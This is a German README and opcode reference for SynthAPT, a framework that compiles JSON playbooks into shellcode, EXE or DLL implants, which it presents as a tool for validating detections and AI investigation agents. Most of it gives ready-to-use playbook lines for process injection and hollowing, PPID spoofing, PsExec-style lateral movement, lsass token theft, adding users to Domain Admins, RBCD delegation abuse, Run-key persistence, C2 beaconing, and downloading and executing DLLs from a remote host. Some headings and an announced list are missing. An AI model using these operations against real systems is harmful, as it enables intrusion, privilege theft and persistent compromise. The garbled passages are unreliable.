Playbook-basiertes Angriffssimulations-Framework, das JSON-definierte Angriffspfade in positionsunabhängige Shellcode-Payloads kompiliert, um erweiterte Erkennungsmechanismen und KI-basierte Untersuchungsagenten zu validieren.

SynthAPT ist ein playbook-basiertes Framework zur Adversary-Simulation für die Nachbildung komplexer Angriffspfade. Es ist für die Validierung fortschrittlicher Erkennungen und KI-basierter Untersuchungsagenten konzipiert. Die Kernidee ist, dass Malware-Verhalten in JSON ausgedrückt und in funktionsfähige Malware kompiliert werden kann, was eine schnelle Entwicklung realistischer Szenarien mithilfe von LLMs ermöglicht.

Das Kernimplantat ist ein Shellcode-Payload, der von einem Playbook-Interpreter gesteuert wird. Ein Playbook definiert den gesamten Angriffspfad vor, und das Implantat folgt ihm, indem es sich durch Prozessinjektion, laterale Bewegung usw. durch die Umgebung bewegt. Jedes Implantat wird als unabhängiger Thread mit eigenem Befehlssatz gestartet, sodass mehrstufige Angriffe (z. B. initialer Zugriff → Privilegienerweiterung → laterale Bewegung → Exfiltration) als Graph kooperierender Implantate dargestellt werden, die alle im Voraus im Playbook definiert sind. Dies hat drei wesentliche Vorteile:

Wenn Sie das Release nicht verwenden möchten, können Sie es wie folgt kompilieren:
Mit cargo make bauen:```bash
cargo make build
./target/release/synthapt
Dies wird den Shellcode und den Editor kompilieren.
Wenn Sie SynthAPT ohne Befehle ausführen, gelangen Sie in den Editor. Sie können einen Claude API-Key angeben und die Änderungen während der Eingabe anzeigen.```bash SynthAPT playbook editor and compiler
Usage: synthapt [COMMAND]
Commands: edit Open the TUI editor with a playbook loaded from PATH validate Validate a playbook JSON file and print any errors export-skill Export the agent system prompt as a Claude Code slash command skill compile Compile a playbook to a payload
Wenn Sie ein anderes LLM oder ein Abonnement verwenden möchten, können Sie `synthapt export-skill` ausführen und das mit Ihrem jeweiligen Coding-Setup verwenden.
Es sollte ein JSON-Playbook ausgeben. Kompilieren Sie es mit dem compile-Befehl in ein Payload:```bash
Compile a playbook to a payload
Usage: synthapt compile [OPTIONS] <PLAYBOOK> [OUTPUT]
Arguments:
<PLAYBOOK> Path to the playbook JSON file
[OUTPUT] Output file path (default: payload.bin / payload.exe / payload.dll)
Options:
-e, --exe Compile to PE EXE
-d, --dll Compile to PE DLL
-b, --base <BASE> Override the embedded base shellcode with a custom binary
-h, --help Print help
Konstanten können als Zeichenketten, Hex-Objekte oder Base64-Objekte definiert werden:```json "constants": [ "c:\windows\temp\file.txt", { "hex": "deadbeef" }, { "base64": "SGVsbG8=" } ]
---
### end (0x00)
Ende des Aufgabensatzes. Wird automatisch vom Compiler angehängt – Sie müssen es nicht hinzufügen.
---
### store_result (0x01)
Speichert das letzte Operationsergebnis in einer Variable.
| Feld | Typ | |
|-------|------|-|
| var | u16 | **erforderlich** |```json
{ "op": "store_result", "var": 0 }
Gibt die aktuellen Shellcode-Bytes zurück, optional mit einer Task-ID und/oder einem Magic-Wert eingefügt.
| Field | Type | |
|---|---|---|
| task | u8 | optional |
| magic | u32 Hex-String oder Zahl | optional |
| { "op": "get_shellcode" } | ||
| { "op": "get_shellcode", "task": 5, "magic": "0x18181818" } |
---
### sleep (0x03)
Schlafe für die angegebene Anzahl von Millisekunden.
| Field | Type | |
|-------|------|-|
| ms | u32 | **erforderlich** |```json
{ "op": "sleep", "ms": 5000 }
Führen Sie einen Befehl über cmd.exe aus.
| Feld | Typ | |
|---|---|---|
| command | string | erforderlich |
| { "op": "run_command", "command": "whoami /all" } |
### get_cwd (0x05)
Aktuelles Arbeitsverzeichnis abrufen. Keine Argumente.```json
{ "op": "get_cwd" }
Liest eine Datei und gibt deren Inhalt zurück.
| Field | Type | |
|---|---|---|
| path | string | erforderlich |
| { "op": "read_file", "path": "c:\users\public\data.txt" } | ||
| { "op": "read_file", "path": "%0" } |
### write_file (0x07)
Schreibe Bytes in eine Datei.
| Feld | Typ | |
|-------|------|-|
| path | string | **erforderlich** |
| content | bytes | *optional* (leere Datei, wenn ausgelassen) |```json
{ "op": "write_file", "path": "c:\\temp\\out.txt", "content": "hello" }
{ "op": "write_file", "path": "%0", "content": "$1" }
Gibt den Statuscode einer Variablen aus (0 = Erfolg, ungleich Null = Fehler).
| Field | Type | |
|---|---|---|
| var | u16 | erforderlich |
| { "op": "check_error", "var": 0 } |
---
### conditional (0x09)
Verzweige zu verschiedenen Task-Indizes basierend auf dem Zustand einer Variable.
| Feld | Typ | |
|-------|------|-|
| mode | `"data"` oder `"error"` | **erforderlich** |
| var1 | u16 | **erforderlich** |
| var2 | u16 | *optional* (zwei Variablen vergleichen anstatt einzelne Prüfung) |
| true | u16 | **erforderlich** (Task-Index, wenn die Bedingung wahr ist) |
| false | u16 | **erforderlich** (Task-Index, wenn die Bedingung falsch ist) |
`true_target` und `false_target` werden als Aliase für `true` und `false` akzeptiert.
Einzelvariablen-Modi:
- `"data"` — wahr, wenn var1 nicht-leere Daten hat
- `"error"` — wahr, wenn var1-Status 0 ist (Erfolg)
Zwei-Variablen-Modi (var2 vorhanden):
- `"data"` — wahr, wenn var1-Daten gleich var2-Daten sind
- `"error"` — wahr, wenn var1-Fehlercode gleich var2-Fehlercode ist```json
{ "op": "conditional", "mode": "error", "var1": 0, "true": 3, "false": 5 }
{ "op": "conditional", "mode": "data", "var1": 0, "var2": 1, "true": 3, "false": 5 }
Setzt eine Variable auf einen Literalwert.
| Feld | Typ | |
|---|---|---|
| var | u16 | erforderlich |
| data | bytes | optional (leer, falls nicht angegeben) |
Literal-Strings und Hex-/Base64-Werte werden mit einem 5-Byte-Ergebnispräfix gespeichert, damit sie beim Rücklesen wie normale Operationsergebnisse aussehen. Variable- ($n) und Konstanten- (%n) Referenzen werden unverändert durchgereicht.```json
{ "op": "set_var", "var": 0, "data": "hello world" }
{ "op": "set_var", "var": 1, "data": { "hex": "deadbeef" } }
---
### print_var (0x0B)
Gibt den Inhalt einer Variable auf stdout aus (Debug). Lasse `var` weg, um das letzte Operationsergebnis auszugeben.
| Feld | Typ | |
|-------|------|-|
| var | u16 | *optional* (gibt letztes Ergebnis aus, falls nicht vorhanden) |```json
{ "op": "print_var", "var": 0 }
{ "op": "print_var" }
Unbedingter Sprung zu einem Task-Index innerhalb des aktuellen Task-Sets.
| Feld | Typ | |
|---|---|---|
| target | u16 | erforderlich |
| { "op": "goto", "target": 2 } |
---
### migrate (0x0D)
Schleusen Sie Shellcode in einen Prozess ein, der einem Suchstring oder einer PID entspricht.
| Field | Type | |
|-------|------|-|
| task_id | u8 | **erforderlich** |
| search | string or number | *optional* (leer = keine Suche; Zahl = Ziel-PID) |
| magic | u32 hex string or number | *optional* |```json
{ "op": "migrate", "task_id": 1, "search": "explorer.exe" }
{ "op": "migrate", "task_id": 1, "search": 1234 }
{ "op": "migrate", "task_id": 1, "search": "notepad", "magic": "0x18181818" }
Laufende Prozesse auflisten. Gibt tabulatorgetrennte Zeilen zurück: pid\timage\tcmdline\n. Keine Argumente.```json
{ "op": "list_procs" }
---
### get_const (0x0F)
Lade eine Konstante in das letzte Ergebnis. Akzeptiert `index` oder `const_idx` als Feldnamen.
| Feld | Typ | |
|-------|------|-|
| index | u16 | **erforderlich** |```json
{ "op": "get_const", "index": 0 }
Führen Sie einen Befehl über WMI aus, optional auf einem entfernten Host.
| Feld | Typ | |
|---|---|---|
| command | string | erforderlich |
| host | string | optional (leer = localhost) |
| user | string | optional (leer = aktueller Benutzer) |
| pass | string | optional (leer = aktuelle Anmeldeinformationen) |
| { "op": "wmi_exec", "command": "calc.exe" } | ||
| { "op": "wmi_exec", "command": "cmd.exe /c whoami", "host": "192.168.1.10", "user": "CORP\admin", "pass": "Password1" } |
---
### http_send (0x11)
Senden Sie eine HTTP/S-Anfrage.
| Field | Type | |
|-------|------|-|
| host | string | **erforderlich** |
| method | string | *optional* (default: `"GET"`) |
| port | u16 | *optional* (default: `80`) |
| path | string | *optional* (default: `"/"`) |
| secure | bool | *optional* (default: `false`) |
| body | bytes | *optional* (leer, falls weggelassen) |```json
{ "op": "http_send", "host": "example.com" }
{ "op": "http_send", "method": "POST", "host": "10.0.0.1", "port": 443, "path": "/data", "secure": true, "body": "$0" }
Erzeuge einen angehaltenen Prozess, injiziere Shellcode und setze ihn fort.
| Field | Type | |
|---|---|---|
| image | string | erforderlich |
| task_id | u8 | erforderlich |
| pipe_name | string | optional (Named Pipe zur Ausgabeerfassung, ohne \\.\pipe\-Präfix) |
| search | string | optional (Prozessname/Befehlszeile zur Täuschung der PPID) |
| no_kill | bool | optional (Standard: false — Prozess wird nach Injektion beendet) |
| { "op": "sacrificial", "image": "C:\Windows\System32\notepad.exe", "task_id": 1 } | ||
| { "op": "sacrificial", "image": "C:\Windows\System32\svchost.exe", "task_id": 1, "search": "services.exe", "pipe_name": "output" } |
---
### redirect_stdout (0x13)
Leitet stdout in eine Datei oder Named Pipe um. Nachfolgende Ausgaben von `run_command` werden dorthin geleitet.
| Feld | Typ | |
|-------|------|-|
| path | string | **erforderlich** |```json
{ "op": "redirect_stdout", "path": "c:\\temp\\log.txt" }
{ "op": "redirect_stdout", "path": "\\\\.\\pipe\\output" }
Starte einen TCP-Server, der Shellcode an verbundene Clients ausliefert. Jeder Client erhält eine Kopie mit einem inkrementierenden Magic-Wert.
| Feld | Typ | |
|---|---|---|
| port | u16 | erforderlich |
| magic_base | u32 hex string or number | optional |
| { "op": "shellcode_server", "port": 8080 } | ||
| { "op": "shellcode_server", "port": 8080, "magic_base": "0x18181818" } |
---
### resolve_hostname (0x15)
Löst einen Hostnamen in eine IPv4-Adresszeichenfolge auf.
| Field | Type | |
|-------|------|-|
| hostname | string | **erforderlich** |```json
{ "op": "resolve_hostname", "hostname": "dc01.corp.local" }
Kopiert eine Binärdatei über SMB auf einen entfernten Host und führt sie als Dienst aus (PsExec-ähnliche seitliche Bewegung).
| Feld | Typ | |
|---|---|---|
| target | string | erforderlich (Hostname oder IP) |
| service_name | string | erforderlich |
| display_name | string | erforderlich |
| binary_path | string | erforderlich (Pfad auf dem entfernten Host) |
| service_bin | bytes | erforderlich (zu schreibende Binärdaten) |
| { "op": "psexec", "target": "192.168.1.10", "service_name": "MySvc", "display_name": "My Service", "binary_path": "c:\windows\temp\svc.exe", "service_bin": "$0" } |
### generate_exe (0x17)
Generieren Sie eine PE-ausführbare Datei mit dem aktuellen Shellcode und Bytecode.
| Feld | Typ | |
|-------|------|-|
| task_id | u8 | **erforderlich** |```json
{ "op": "generate_exe", "task_id": 1 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\\temp\\payload.exe", "content": "$0" }
Führt eine Beacon Object File (BOF) aus.
| Field | Type | |
|---|---|---|
| bof_data | bytes | erforderlich |
| entry | string | optional (Standard: "go") |
| inputs | bytes | optional (BOF-Argumente, leer wenn weggelassen) |
| { "op": "run_bof", "bof_data": "%0", "entry": "go", "inputs": "" } | ||
| { "op": "run_bof", "bof_data": "$0" } |
---
### query_ldap (0x19)
Ein LDAP-Verzeichnis abfragen.
| Feld | Typ | |
|-------|------|-|
| base | string | **erforderlich** (Basis-DN) |
| filter | string | **erforderlich** |
| scope | u8 | *optional* (Standard: `2` = subtree; `0` = base, `1` = one-level) |
| attribute | string | *optional* (leer = gibt alle Attribute zurück) |```json
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(objectClass=user)", "attribute": "sAMAccountName" }
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(&(objectClass=computer)(operatingSystem=*Server*))", "scope": 2 }
Setzt ein Active Directory-Attribut auf einen Zeichenfolgenwert.
| Feld | Typ | |
|---|---|---|
| dn | string | erforderlich |
| attr | string | erforderlich |
| value | string | erforderlich |
| { "op": "set_ad_attr_str", "dn": "CN=user,CN=Users,DC=corp,DC=local", "attr": "description", "value": "owned" } |
---
### set_ad_attr_bin (0x1B)
Setzt ein Active Directory-Attribut auf einen binären Wert. Übergeben Sie einen leeren Wert, um das Attribut zu löschen.
| Field | Type | |
|-------|------|-|
| dn | string | **erforderlich** |
| attr | string | **erforderlich** |
| value | bytes | **erforderlich** (leer = Attribut löschen) |```json
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$0" }
Scannt TCP-Ports auf einem oder mehreren Zielen. Gibt host\tport\n-Zeilen nur für offene Ports zurück.
| Feld | Typ | |
|---|---|---|
| targets | string | erforderlich (durch Komma getrennte IPs, CIDRs, Bereiche oder Hostnamen; Alias: host) |
| ports | string | erforderlich (durch Komma getrennte Ports oder Bereiche, z. B. "22,80,443,8000-8100") |
| { "op": "portscan", "targets": "10.0.0.0/24", "ports": "22,80,443,445,3389" } | ||
| { "op": "portscan", "targets": "192.168.1.1-192.168.1.50,dc01.corp.local", "ports": "80,8000-8100" } |
---
### set_user_password (0x1D)
Setzt das Passwort eines lokalen oder Domänenbenutzers über NetUserSetInfo.
| Field | Type | |
|-------|------|-|
| username | string | **erforderlich** |
| password | string | **erforderlich** |
| server | string | *optional* (leer = lokaler Rechner) |```json
{ "op": "set_user_password", "username": "Administrator", "password": "NewP@ss1" }
{ "op": "set_user_password", "server": "dc01.corp.local", "username": "svc_account", "password": "NewP@ss1" }
Fügt einen Benutzer zu einer lokalen Gruppe über NetLocalGroupAddMembers hinzu.
| Field | Type | |
|---|---|---|
| group | string | erforderlich |
| username | string | erforderlich |
| server | string | optional (leer = lokaler Rechner) |
| { "op": "add_user_to_localgroup", "group": "Administrators", "username": "backdoor" } | ||
| { "op": "add_user_to_localgroup", "server": "ws01", "group": "Remote Desktop Users", "username": "CORP\attacker" } |
### remove_user_from_localgroup (0x1F)
Entfernt einen Benutzer aus einer lokalen Gruppe über NetLocalGroupDelMembers.
| Field | Type | |
|-------|------|-|
| group | string | **erforderlich** |
| username | string | **erforderlich** |
| server | string | *optional* (leer = lokaler Rechner) |```json
{ "op": "remove_user_from_localgroup", "group": "Administrators", "username": "backdoor" }
Ermittelt die SID-Zeichenfolge eines Benutzers über LookupAccountName.
| Field | Type | |
|---|---|---|
| username | string | erforderlich |
| server | string | optional (leer = lokaler Rechner) |
Gibt eine SID-Zeichenfolge zurück, z. B. S-1-5-21-....```json
{ "op": "get_user_sid", "username": "Administrator" }
{ "op": "get_user_sid", "server": "dc01.corp.local", "username": "attacker$" }
---
### add_user_to_group (0x21)
Fügt einen Benutzer zu einer Domänengruppe hinzu mithilfe von NetGroupAddUser.
| Feld | Typ | |
|-------|------|-|
| group | string | **erforderlich** |
| username | string | **erforderlich** |
| server | string | *optional* (leer = lokaler DC) |```json
{ "op": "add_user_to_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" }
Entfernt einen Benutzer aus einer Domänengruppe über NetGroupDelUser.
| Field | Type | |
|---|---|---|
| group | string | erforderlich |
| username | string | erforderlich |
| server | string | optional (leer = lokaler DC) |
| { "op": "remove_user_from_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" } |
---
### create_rbcd_ace (0x23)
Erstelle eine binäre ACE für Resource-Based Constrained Delegation. Das Ergebnis eignet sich zum direkten Schreiben in `msDS-AllowedToActOnBehalfOfOtherIdentity`.
| Field | Type | |
|-------|------|-|
| sid | string | **erforderlich** (SID-String, z.B. von `get_user_sid`) |```json
{ "op": "get_user_sid", "username": "attacker$" },
{ "op": "store_result", "var": 0 },
{ "op": "create_rbcd_ace", "sid": "$0" },
{ "op": "store_result", "var": 1 },
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$1" }
Erstellt einen Registrierungsschlüssel.
| Feld | Typ | |
|---|---|---|
| Schlüssel | string | erforderlich (vollständiger Pfad, z.B. "HKLM\\SOFTWARE\\MyApp") |
| { "op": "reg_create_key", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" } |
---
### reg_delete_key (0x25)
Löscht einen Registrierungsschlüssel.
| Feld | Typ | |
|-------|------|-|
| key | string | **erforderlich** |```json
{ "op": "reg_delete_key", "key": "HKLM\\SOFTWARE\\MyApp" }
Setzen Sie einen Registrierungswert.
| Feld | Typ | |
|---|---|---|
| key | string | erforderlich |
| value_name | string | erforderlich (leere Zeichenfolge für Standardwert) |
| value | bytes | erforderlich |
| value_type | string | optional (Standard: "REG_SZ"; auch: REG_DWORD, REG_BINARY, REG_EXPAND_SZ, REG_MULTI_SZ, REG_QWORD) |
| { "op": "reg_set_value", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "value_name": "Updater", "value": "C:\Windows\Temp\payload.exe" } | ||
| { "op": "reg_set_value", "key": "HKLM\SOFTWARE\MyApp", "value_name": "Count", "value_type": "REG_DWORD", "value": { "hex": "05000000" } } |
---
### reg_query_value (0x27)
Fragt einen Registrierungswert ab. Gibt die rohen Wertbytes zurück.
| Feld | Typ | |
|-------|------|-|
| key | string | **erforderlich** |
| value_name | string | **erforderlich** (leere Zeichenfolge für Standardwert) |```json
{ "op": "reg_query_value", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "value_name": "ProductName" }
Erstelle einen Identitätswechsel-Token über LogonUser und führe den Identitätswechsel durch. Der Standard-Anmeldetyp ist 9 (LOGON32_LOGON_NEW_CREDENTIALS), der die angegebenen Anmeldeinformationen für ausgehende Netzwerkverbindungen verwendet, während der lokale Token unverändert bleibt.
| Feld | Typ | |
|---|---|---|
| username | string | erforderlich |
| password | string | erforderlich |
| domain | string | optional (leer = Arbeitsgruppe oder UPN-Format) |
| logon_type | u8 | optional (Standard: 9; 2 = interaktiv, 3 = Netzwerk) |
| { "op": "make_token", "domain": "corp", "username": "bob", "password": "Password1" } | ||
| { "op": "make_token", "username": "[email protected]", "password": "Password1" } | ||
| { "op": "make_token", "domain": ".", "username": "localadmin", "password": "Password1", "logon_type": 2 } |
---
### impersonate_process (0x29)
Einen Prozesstoken öffnen und diesen imitieren. Nützlich für Privilegieneskalation oder seitlichen Token-Diebstahl.
| Feld | Typ | |
|-------|------|-|
| search | string | **erforderlich** (stimmt mit Bildnamen oder Befehlszeile überein) |```json
{ "op": "impersonate_process", "search": "lsass" }
{ "op": "impersonate_process", "search": "winlogon.exe" }
Aktivieren eines Privilegs auf einem Prozess-Token.
| Feld | Typ | |
|---|---|---|
| privilege | string | erforderlich (Alias: priv_name) |
| search | string | optional (leer = aktueller Prozess) |
| { "op": "enable_privilege", "privilege": "SeDebugPrivilege" } | ||
| { "op": "enable_privilege", "search": "lsass", "privilege": "SeTcbPrivilege" } |
---
### list_process_privs (0x2B)
Listet die Privilegiennamen und deren aktivierten/deaktivierten Zustand für einen Prozess auf. Gibt `name\tenabled\n` oder `name\tdisabled\n` Zeilen zurück.
| Field | Type | |
|-------|------|-|
| search | string | *optional* (leer = aktueller Prozess) |```json
{ "op": "list_process_privs" }
{ "op": "list_process_privs", "search": "explorer" }
Listet Privilegien im aktuellen Thread-Token auf. Gibt dasselbe Format wie list_process_privs zurück. Keine Argumente.```json
{ "op": "list_thread_privs" }
---
### delete_file (0x2D)
Löschen einer Datei.
| Feld | Typ | |
|-------|------|-|
| path | string | **erforderlich** |```json
{ "op": "delete_file", "path": "c:\\temp\\payload.exe" }
Zum ursprünglichen Prozess-Token zurückkehren und jede Identitätsübernahme beenden. Keine Argumente.```json { "op": "revert_to_self" }
---
### start_service (0x2F)
Startet einen Windows-Dienst.
| Feld | Typ | |
|-------|------|-|
| service_name | string | **erforderlich** |
| target | string | *optional* (leer = lokaler Rechner) |```json
{ "op": "start_service", "service_name": "MySvc" }
{ "op": "start_service", "target": "192.168.1.10", "service_name": "MySvc" }
Löscht einen Windows-Dienst.
| Feld | Typ | |
|---|---|---|
| service_name | string | erforderlich |
| target | string | optional (leer = lokaler Rechner) |
| { "op": "delete_service", "service_name": "MySvc" } | ||
| { "op": "delete_service", "target": "192.168.1.10", "service_name": "MySvc" } |
### create_thread (0x31)
Erzeugt einen neuen Thread im aktuellen Prozess, der eine Kopie des Shellcodes ausführt. Wenn `magic` ausgelassen wird, durchsucht es die Prozess-Heaps, um eine eindeutige Magic zu finden, die nicht mit bestehenden Instanzen kollidiert.
| Field | Type | |
|-------|------|-|
| task | u8 | *optional* (weglassen oder `255` = gleicher Task-Satz wie aktueller Thread) |
| magic | u32 hex string or number | *optional* (automatisch erkannt, falls weggelassen) |
> **Warnung**: Das Auslassen von `task` führt den gleichen Task-Satz in einem neuen Thread aus. Wenn der Task-Satz erneut `create_thread` aufruft, führt dies zu unendlich vielen Threads.```json
{ "op": "create_thread", "task": 2 }
{ "op": "create_thread", "task": 2, "magic": "0x18181818" }
Erzeuge eine DLL mit dem aktuellen Shellcode. Führt Shellcode bei DLL_PROCESS_ATTACH aus und exportiert eine benannte Funktion, die ebenfalls Shellcode ausführt.
| Feld | Typ | |
|---|---|---|
| task_id | u8 | erforderlich |
| export_name | string | optional (Standard: "Run") |
| { "op": "generate_dll", "task_id": 2 }, | ||
| { "op": "store_result", "var": 0 }, | ||
| { "op": "write_file", "path": "c:\temp\payload.dll", "content": "$0" } |
---
### shell_execute (0x33)
Führt eine Datei über COM mit ShellExecuteEx aus. Der resultierende Prozess scheint von der Shell gestartet zu werden.
| Feld | Typ | |
|-------|------|-|
| path | string | **erforderlich** |
| verb | string | *optional* (z.B. `"open"`, `"runas"`) |
| args | string | *optional* |```json
{ "op": "shell_execute", "path": "C:\\Windows\\System32\\cmd.exe", "verb": "open", "args": "/c whoami" }
{ "op": "shell_execute", "path": "C:\\Users\\Public\\payload.exe", "verb": "runas", "args": "" }
Extrahiert ein ZIP-Archiv mithilfe der Windows-Shell.
| Feld | Typ | |
|---|---|---|
| path | string | erforderlich (Pfad zur ZIP-Datei) |
Extrahiert in einen Ordner mit demselben Namen wie die ZIP-Datei (ohne Erweiterung) im selben Verzeichnis.```json { "op": "shell_extract", "path": "C:\Users\alice\Downloads\Invoice_2024.zip" }
---
### shell_execute_explorer (0x35)
Führen Sie eine Datei über explorer.exe als übergeordneten Prozess mittels COM aus. Der erzeugte Prozess scheint vom Benutzer über den Explorer gestartet worden zu sein.
| Feld | Typ | |
|-------|------|-|
| path | string | **erforderlich** |
| verb | string | *optional* |
| args | string | *optional* |```json
{ "op": "shell_execute_explorer", "path": "C:\\Users\\alice\\Downloads\\Invoice.js", "verb": "open", "args": "" }
Lädt eine DLL in den aktuellen Prozess über LoadLibraryW.
| Field | Type | |
|---|---|---|
| path | string | erforderlich |
| { "op": "load_library", "path": "C:\Users\Public\payload.dll" } |
---
### pyexec (0x37)
Lade eine Python-DLL von einer URL herunter (nach erstem Download im Cache gespeichert) und führe dann ein Python-Skript aus. Stellt ein `agent`-Modul mit Bindungen an alle Agenten-Opcodes bereit.
| Feld | Typ | |
|-------|------|-|
| url | string | *optional* (URL zur Python-DLL; leer = bereits geladene Python verwenden) |
| script | string | *optional* (Python-Code zum Ausführen; leer = initialisieren ohne Ausführung) |```json
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "import agent; print(agent.get_cwd())" }
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "" }
{ "op": "pyexec", "script": "import agent; agent.run_command('calc.exe')" }
Process Hollowing: einen legitimen Prozess im angehaltenen Zustand starten, seinen Einstiegspunkt mit Shellcode überschreiben und fortsetzen.
| Field | Type | |
|---|---|---|
| image | string | erforderlich |
| task_id | u8 | erforderlich |
| search | string | optional (Prozessname/Befehlszeile, aus der die PPID vorgetäuscht werden soll) |
| { "op": "hollow", "image": "C:\Windows\System32\svchost.exe", "task_id": 1 } | ||
| { "op": "hollow", "image": "C:\Windows\System32\RuntimeBroker.exe", "task_id": 1, "search": "explorer" } |
---
### migrate_apc (0x39)
Starte einen angehaltenen Prozess, allokiere RWX-Speicher, schreibe Shellcode, stelle einen APC in die Warteschlange des Hauptthreads und setze den Prozess fort. Gibt die PID des gestarteten Prozesses zurück.
| Feld | Typ | |
|-------|------|-|
| image | string | **erforderlich** |
| task_id | u8 | **erforderlich** |
| magic | u32 hex string or number | *optional* |```json
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\notepad.exe", "task_id": 1 }
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\svchost.exe", "task_id": 1, "magic": "0x18181818" }
Registriert den aktuellen Prozess als Windows-Dienst durch Aufruf von StartServiceCtrlDispatcher. Muss früh aufgerufen werden, wenn der Prozess vom Dienstkontrollmanager (SCM) gestartet wird, da der SCM ihn sonst nach ca. 30 Sekunden beendet. Führt die SCM-Kommunikation in einem Hintergrundthread aus, sodass die Hauptaufgabe normal fortgesetzt wird.
| Feld | Typ | |
|---|---|---|
| service_name | string | erforderlich (Alias: name) |
| { "op": "register_service", "service_name": "MySvc" } |
---
### exit_process (0x3B)
Beende den aktuellen Prozess.
| Feld | Typ | |
|-------|------|-|
| exit_code | u32 | *optional* (Standard: `0`) |```json
{ "op": "exit_process" }
{ "op": "exit_process", "exit_code": 1 }
Einen Prozess im unterbrochenen Zustand starten und Shellcode per APC injizieren. Ähnlich wie migrate_apc, aber mit optionalem PPID-Spoofing.
| Feld | Typ | |
|---|---|---|
| image | string | erforderlich |
| task_id | u8 | erforderlich |
| search | string | optional (Prozessname/-befehlszeile, von dem/der PPID gespooft werden soll) |
| { "op": "hollow_apc", "image": "C:\Windows\System32\notepad.exe", "task_id": 1 } | ||
| { "op": "hollow_apc", "image": "C:\Windows\System32\svchost.exe", "task_id": 1, "search": "services.exe" } |
---
### frida_hook (0x3F)
Lade eine Frida-Gadget-DLL von einer URL herunter (nach dem ersten Download zwischengespeichert) und installiere einen JavaScript-Hook.
| Feld | Typ | |
|-------|------|-|
| url | string | **erforderlich** |
| script | string | **erforderlich** (JavaScript, das die Frida-API verwendet) |
| name | string | *optional* (Hook-Name für spätere Referenz mit `frida_unhook`) |
| callback_host | string | *optional* (Host, an den HTTP-POST-Nachrichten von `send()` gesendet werden) |
| callback_port | u16 | *optional* |
| batch_size | u32 | *optional* (Nachrichten pro HTTP-POST-Batch; Standard: `50`) |
| flush_interval | u32 | *optional* (Leerungsintervall in ms; Standard: `5000`) |
Nachrichten, die über `send()` in JavaScript gesendet werden, werden entweder an `callback_host:callback_port/frida` gepostet oder bei fehlender Callback-Konfiguration in die Standardausgabe geschrieben.```json
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "Interceptor.attach(Module.findExportByName('kernel32.dll', 'CreateFileW'), { onEnter: function(args) { send(args[0].readUtf16String()); } });" }
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "...", "name": "my_hook", "callback_host": "10.0.0.5", "callback_port": 8080 }
Entlade einen Frida-Hook. Ohne Argumente werden alle Hooks entladen.
| Feld | Typ | |
|---|---|---|
| hook_id | i32 | optional (von frida_hook zurückgegebene Hook-ID) |
| name | string | optional (mit dem name-Feld von frida_hook gesetzter Hook-Name) |
| { "op": "frida_unhook" } | ||
| { "op": "frida_unhook", "hook_id": 1 } | ||
| { "op": "frida_unhook", "name": "my_hook" } |
---
### kill (0x42)
Beenden einer laufenden Agent-Instanz anhand ihres Magic-Werts.
| Feld | Typ | |
|------|-----|-|
| magic | u32 hex string or number | *optional* (weglassen, um die aktuelle Instanz zu beenden) |```json
{ "op": "kill" }
{ "op": "kill", "magic": "0x18181818" }
Stelle eine Verbindung zu einem HTTP-C2-Server her und frage nach Bytecodes-Aufgaben.
| Feld | Typ | |
|---|---|---|
| host | string | optional |
| port | u16 | optional (Standard: 80) |
| interval | u32 | optional (Poll-Intervall in ms; Standard: 5000) |
| secure | bool | optional (Standard: false) |
| agent_id | string | optional (Kennung, die in Beacon-Anfragen gesendet wird) |
| { "op": "http_beacon", "host": "10.0.0.1", "port": 443, "interval": 10000, "secure": true } |
---
### mem_read (0x44)
Lese Rohbytes von einer Speicheradresse im aktuellen oder einem entfernten Prozess.
| Feld | Typ | |
|-------|------|-|
| address | Hex-String | **erforderlich** (Adresse als Hex-Zeichen, z.B. `"7FFE0030"`; `0x`-Präfix wird automatisch entfernt) |
| size | u32 | **erforderlich** |
| pid | u32 | *optional* (entfernter Prozess; für lokales Lesen weglassen) |```json
{ "op": "mem_read", "address": "7FFE0030", "size": 64 }
{ "op": "mem_read", "address": "0x7FFE0000", "size": 256, "pid": 1234 }
{ "op": "mem_read", "address": "$0", "size": 128 }
Durchlaufe die PEB LDR InLoadOrderModuleList und gib geladene Module zurück. Gibt postcard-serialisiertes Vec<ProcessResult<ModuleInfo>> zurück.
| Feld | Typ | |
|---|---|---|
| pid | u32 or "all" | optional (weglassen = aktueller Prozess; "all" = jeder zugängliche Prozess) |
| { "op": "dll_list" } | ||
| { "op": "dll_list", "pid": 1234 } | ||
| { "op": "dll_list", "pid": "all" } |
---
### mem_map (0x46)
Zählt virtuelle Speicherbereiche via `VirtualQuery`/`VirtualQueryEx` auf. Gibt postcard-serialisiertes `Vec<ProcessResult<MemRegion>>` zurück. Überspringt FREE-Bereiche; IMAGE-Bereiche enthalten Modulname und PE-Abschnitt.
| Feld | Typ | |
|-------|------|-|
| pid | u32 oder `"all"` | *optional* (weglassen = aktueller Prozess; `"all"` = jeder zugängliche Prozess) |```json
{ "op": "mem_map" }
{ "op": "mem_map", "pid": 1234 }
{ "op": "mem_map", "pid": "all" }
Findet festgelegte private ausführbare Speicherbereiche – Indikatoren für injizierten Shellcode oder reflective DLLs. Überspringt Seiten, die nur Nullen enthalten, und notiert Bereiche mit MZ-Headern. Gibt postcard-serialisiertes Vec<ProcessResult<MalfindHit>> zurück.
| Field | Type | |
|---|---|---|
| pid | u32 or "all" | optional (weglassen = aktueller Prozess; "all" = jeder zugängliche Prozess) |
| { "op": "malfind" } | ||
| { "op": "malfind", "pid": 1234 } | ||
